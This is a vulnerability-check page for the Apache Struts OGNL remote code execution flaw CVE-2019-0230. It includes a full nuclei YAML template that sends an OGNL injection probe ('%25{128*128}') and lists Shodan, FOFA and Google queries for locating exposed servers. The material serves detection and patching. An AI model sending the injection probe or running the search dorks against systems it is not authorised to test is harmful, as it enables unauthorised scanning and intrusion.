Apache Struts <=2.5.20 - Remote Code Execution

criticalseverity

9.8CVSS score

96.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.

Fix

Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/?id={{str}}%25{128*128}
Positive when: contains "{{str}}16384"

Run it with nuclei: nuclei -id CVE-2019-0230 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-0230

info:
  name: Apache Struts <=2.5.20 - Remote Code Execution
  author: geeknik
  severity: critical
  description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
  remediation: |
    Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0230
    - https://cwiki.apache.org/confluence/display/WW/S2-059
    - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
    - http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html
    - https://cwiki.apache.org/confluence/display/ww/s2-059
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0230
    cwe-id: CWE-1321
    epss-score: 0.96946
    epss-percentile: 0.99888
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2019,tenable,packetstorm,struts,rce,apache,vuln,vkev
variables:
  str: "{{rand_base(6)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/?id={{str}}%25{128*128}"

    matchers:
      - type: word
        part: body
        words:
          - "{{str}}16384"

References

Use this check only on systems you are authorised to test. Where the data comes from